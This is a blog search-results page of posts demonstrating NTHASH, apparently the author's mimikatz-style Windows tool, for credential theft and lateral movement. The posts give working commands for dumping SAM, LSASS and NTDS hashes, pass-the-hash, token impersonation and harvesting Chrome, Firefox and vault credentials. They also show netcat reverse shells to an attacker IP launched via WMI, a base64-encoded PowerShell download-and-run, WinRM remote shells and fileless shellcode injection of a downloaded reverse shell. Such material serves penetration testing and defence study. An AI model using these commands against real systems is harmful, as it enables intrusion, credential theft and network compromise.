Résultats de recherche pour « nthash » – Page 2

Résultats de recherche : nthash

Demonstrating lateral movement with NTHASH Part #7

Oct 292019

In previous articles, we have used Pass The Hass to perform lateral movement.
This time, lets drop PTH and use token impersonation.

Indeed, if you are lucky enough to be a local admin you can impersonate a token owned by another user currently logged on the same system as you (it could be a terminal server).
That other user may happen to be admin on systems where you currently dont have access to (yet).
Impersonating this user will let you perform lateral movement.

This is as simple as running NTHASH-win64.exe /runastoken /pid:xxx where pid is owned by that other user.

Just keep in mind that you need to be running an elevated shell to do so.
If not done yet, simply run NTHASH-win64.exe /runas before running the command above.

As simple as that : again, no need to know the user password (nor the hash this time).

Once running under the context of this other user you can then run commands like :
NTHASH-win64.exe /chrome
NTHASH-win64.exe /firefox
NTHASH-win64.exe /enumcred
NTHASH-win64.exe /enumcred2
NTHASH-win64.exe /enumvault
…

And keep moving lateral… or up…

Demonstrating lateral movement with NTHASH Part #6

nthash 1 Response »

Oct 292019

Last one on the « pass the hash » series.
Initially we used a remote RDP console.
We then demonstrated netcat reverse shell.
What if we dont have RDP or cant/dont want to use netcat to the remote target?

WinRM to the rescue !

1.Ensure WinRM is set on the attacker host : winrm quickconfig

2.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force »

3.Enable psremoting on the remote target host (use wmic / see previous article) : powershell.exe « enable-psremoting -force »

4.Add trusted hosts * (or filter to an ip) on attacker host : powershell « Set-Item WSMan:\localhost\Client\TrustedHosts -Value « * » -Force » (use wmic / see previous article)

5.Enjoy a remote shell under powershell (from the attacker host) : Enter-PSSession -ComputerName target

Demonstrating lateral movement with NTHASH Part #5

nthash 1 Response »

Oct 292019

In previous article, we have introduced the used of WMIC in a « pass the hash » shell.

See below a list of useful wmic commands of gathered around the internet:

rem remember impersonate is ok but delegate is not

rem become familiar with the available aliases
wmic alias list brief
rem see the available methods for any class
wmic [class] call /?

rem file stuff
wmic /node:target DATAFILE where « drive=’c:’ AND path=’\\windows\\' » GET Name,readable,size
wmic /node:target datafile « c:\\temp\\test.txt » call rename c:\temp\abc.txt
wmic /node:target datafile « c:\\temp\\test.txt » call copy c:\temp\abc.txt

rem process stuff
wmic /node:target process call create « nc attacker-ip 9000 -e cmd.exe »
wmic /node:target process call create « cmd.exe /c echo test > c:\temp\test.txt »
wmic /node:target process where name= »explorer.exe » call terminate
wmic /node:target process where processid= »1234″ call terminate
wmic /node:target process get name, processid

rem users and groups stuff
WMIC /node:target USERACCOUNT LIST brief
wmic /node:target path Win32_GroupUser

Demonstrating lateral movement with NTHASH Part #4

nthash 1 Response »

Oct 292019

lets again introduce a variant of previous article.

Ideally we would be using the windows built in wmic command rather that the nthash runwmi verb.

Unfortunately, wmic can be a pita with escaping characters in some situations, especially when combining with powershell.

The below for instance wont work because of the ‘,’ comma character.

wmic /node:target process call create « powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(‘https://erwan.labalec.fr/uploads/nc.exe’,’c:\temp\nc.exe’) »

The trick/workaround is to base64encode (unicode) the powershell command.

NTHASH-win64.exe /base64encodew /input:(New-Object System.Net.WebClient).DownloadFile(‘http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe’,’c:\temp\nc.exe’);

Which will give you the following :

KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQ
BiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA=

You can then execute a powershell command on a remote target using wmic like below :

wmic /node:target process call create « powershell.exe -encodedcommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBlAHIAdwBhAG4ALgBsAGEAYgBhAGwAZQBjAC4AZgByAC8AdQBwAGwAbwBhAGQAcwAvAG4AYwAuAGUAeABlACcALAAnAGMAOgBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAnACkAOwA= »

Demonstrating lateral movement with NTHASH Part #3

nthash 1 Response »

Oct 292019

This time, lets introduce a variant of previous article.

Rather than copying a file to a target using a remote admin$ share (which is not always available), lets have the target download a file via http.

1.Set a shell with netcat on the attacker host
nc -L -vv -p 9000

2.download a file from internet on a remote target

(remember, you are using a pth shell with proper logon details).

NTHASH-win64.exe /runwmi /server:target /binary:powershell.exe -c (New-Object System.Net.WebClient).DownloadFile(‘http:%2f%2ferwan.labalec.fr%2fuploads%2fnc.exe’,’c:\temp\nc.exe’);

Notice the %2f in place of the ‘/’ – Indeed, we need to escape this as otherwise it would be understood as command line parameter.

3.Exec netcat on target host
NTHASH-win64.exe /runwmi /server:target /binary:c:\temp\nc.exe attacker_ip 9000 -e cmd.exe

At this point you will get a shell popup in your listening netcat.

Try a simple whoami for fun.

Demonstrating lateral movement with NTHASH Part #2

nthash 1 Response »

Oct 282019

In a previous article, we have seen how to perform lateral movement thru « Pass The Hash ».

Lets imagine that there is no RDP server available on the target but you still need to get a shell on the target.

Lets use a reverse shell i.e the target will connect back to us (the attacker).

Usefull as well if the firewall on the target is allowing only outbound connections.

1.Set a shell with netcat on the attacker host
nc -L -vv -p 9000

2.Copy file to target host (remember, you are using a pth shell with proper logon details).
copy nc.exe \\target\admin$

3.Exec netcat on target host
NTHASH-win64.exe /runwmi /server:target /binary:nc attacker_ip 9000 -e cmd.exe

At this point you will get a shell popup in your listening netcat.

Try a simple whoami for fun.

Demonstrating lateral movement with NTHASH part #1

nthash 1 Response »

Oct 282019

Following previous article on NTHASH, lets see how to perform lateral movement using « pass the hash » (pth).

In 3 steps, lets retrieve some hashes and then lets perform a PTH (using MS RDP client).

1.Retrieve the hash
NTHASH-win64.exe /dumpsam
or
NTHASH-win64.exe /dumphashes /system
or
reg save hklm\sam sam.sav and reg save hklm\system system.sav
NTHASH-win64.exe /dumphashes /offline
or (in a domain env)
NTHASH-win64.exe /logonpasswords

2.Pass the hash
NTHASH-win64.exe /pth /user:username /password:8846F7EAEE8FB117AD06BDD830B7586C /domain:.

3.In the newly opened cmd « pth » shell, type mstsc /restrictedadmin /v:target

You will end up logged as the « username » account in a RDP console on server named « target ».

Try a simple whoami for fun and go back to credential harvesting for this account using /firefox, /chrome, /enumvault, /enumcred, etc.

And you never had to enter the « username » password…

Note that any other client tool (preferably built in windows) that inherit ntlm credentials from current logon session will work too (tasklist/taskkill, wmic, net, winrm/powershell, psexec, etc)

This will be covered in future articles.

NTHASH

nthash 1 Response »

Oct 282019

Dont ask about the name : yes it does not mean much but this is all I got so far…

A tribute to https://github.com/gentilkiwi/mimikatz…
And generally speaking a tool to handle windows passwords and perform lateral movement.
https://attack.mitre.org/matrices/enterprise/windows/ is definitely worth reading as well.

Source code on github here.

Command line so far:

Command line as below:
NTHASH /setntlm [/server:hostname] /user:username /newhash:xxx
NTHASH /setntlm [/server:hostname] /user:username /newpwd:xxx
NTHASH /changentlm [/server:hostname] /user:username /oldpwd:xxx /newpwd:xxx
NTHASH /changentlm [/server:hostname] /user:username /oldhash:xxx /newpwd:xxx
NTHASH /changentlm [/server:hostname] /user:username /oldpwd:xxx /newhash:xxx
NTHASH /changentlm [/server:hostname] /user:username /oldhash:xxx /newhash:xxx
NTHASH /gethash /password:password
NTHASH /getsid /user:username [/server:hostname]
NTHASH /getusers [/server:hostname]
NTHASH /getdomains [/server:hostname
NTHASH /dumpsam
NTHASH /dumphashes [/offline]
NTHASH /dumphash /rid:123 [/offline]
NTHASH /getsamkey [/offline]
NTHASH /getsyskey [/offline]
NTHASH /getlsakeys
NTHASH /wdigest
NTHASH /logonpasswords
NTHASH /pth /user:username /password:myhash /domain:mydomain
NTHASH /enumcred
NTHASH /enumcred2
NTHASH /enumvault
NTHASH /chrome [/binary:path_to_database]
NTHASH /firefox [/binary:path_to_database]
NTHASH /cryptunprotectdata /binary:filename
NTHASH /cryptunprotectdata /input:string
NTHASH /cryptprotectdata /input:string
NTHASH /runasuser /user:username /password:password [/binary: x:\folder\bin.exe]
NTHASH /runastoken /pid:12345 [/binary: x:\folder\bin.exe]
NTHASH /runaschild /pid:12345 [/binary: x:\folder\bin.exe]
NTHASH /runas [/binary: x:\folder\bin.exe]
NTHASH /runts /user:session_id [/binary: x:\folder\bin.exe]
NTHASH /runwmi /binary:c:\folder\bin.exe [/server:hostname]
NTHASH /enumpriv
NTHASH /dumpprocess /pid:12345
NTHASH /bytetostring /input:hexabytes
NTHASH /stringtobyte /input:string
NTHASH /base64encodew /input:string
NTHASH /base64encode /input:string
NTHASH /base64decode /input:base64string
NTHASH /a_command /verbose
NTHASH /a_command /system

Launch a reverse shell without touching disk

network, nthash No Responses »

Juil 312023

NTHASH-win64 /download2hexa /input:https:%2f%2fgithub.com%2ferwan2212%2fNTHASH-FPC%2fraw%2fmaster%2frevshell64.bin| nthash-win64 /replace /old:7F000001 /new:C0A801BE|nthash-win64 /injectcodehexa /pid:996

The above will, in 3 steps :

-download a binary and convert it to its textual hexa form

-replace the default outbound ip (127.0.0.1) to the real target ip (here 192.168.1.190)

-inject the shellcode into the memory of the specified pid and execute it

on the remote host : run nc -l -p 4444 (note that you could also replace 4444 with a port of your choice in the shell code)

NTDSEXTRACT

ldap, nthash No Responses »

Juil 092023

Decrypt NTDS (aka NT Directory Service) active directory hashes for servers up to windows 2012r2 (rc4) and windows 2016 and up (aes). NTDS uses the Extensible Storage Engine format (aka ESE).

Sourcecode and binary are here.

Note that a file named import.ldif will also be created (if you wish to import the exported hashes to a openldap).

Also note that a NT hash is the md4 hash of the unicode (utf16-le) password.

NTHASH-win64.exe --widestringtohexa --input=MyPassword | NTHASH-win64.exe --gethash --mode=MD4

Tips:

You can dump all necessary files (registry hives and ntds database) with

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

You need the OS (here a domain controller) syskey to decrypt a NTDS database.
You can obtain the systemkey offline using nthash and the system and security registry hives.

nthash-win64 --getsyskey --offline --binary=system

Your sysem and security hives may be inconsistent in which case make sure to get not only the hives but also all logs along. Then open it in regedit and the hives and logs should be consolidated altogether, ready to be used by nthash.

Your ntds.dit may be corrupted. check this out with esentutl /g ntds.dit and then repait it with esentutl /p ntds.dit.

esentutl /g ntds.dit

Extensible Storage Engine Utilities for Microsoft(R) Windows(R)
Version 6.3
Copyright (C) Microsoft Corporation. All Rights Reserved.

Initiating INTEGRITY mode...
        Database: ntds.dit
  Temp. Database: .\TEMPINTEG26304.EDB

Checking database integrity.

The database is not up-to-date. This operation may find that
this database is corrupt because data from the log files has
yet to be placed in the database.

To ensure the database is up-to-date please use the 'Recovery' operation.


                     Scanning Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................


Integrity check completed.
Database is CORRUPTED, the last full backup of this database was on 04/10/2024 10:30:19

Operation terminated with error -1206 (JET_errDatabaseCorrupted, Non database file or corrupted db) after 4.297 seconds.

esentutl /p ntds.dit

Extensible Storage Engine Utilities for Microsoft(R) Windows(R)
Version 6.3
Copyright (C) Microsoft Corporation. All Rights Reserved.

Initiating REPAIR mode...
        Database: ntds.dit
  Temp. Database: TEMPREPAIR19620.EDB

Checking database integrity.

The database is not up-to-date. This operation may find that
this database is corrupt because data from the log files has
yet to be placed in the database.

To ensure the database is up-to-date please use the 'Recovery' operation.


                     Scanning Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

Initiating DEFRAGMENTATION mode...
            Database: ntds.dit

                  Defragmentation Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................


Moving 'TEMPREPAIR19620.EDB' to 'ntds.dit'... DONE!

Note:
  It is recommended that you immediately perform a full backup
  of this database. If you restore a backup made before the
  defragmentation, the database will be rolled back to the state
  it was in at the time of that backup.

Operation completed successfully in 14.515 seconds.

Older Entries Newer Entries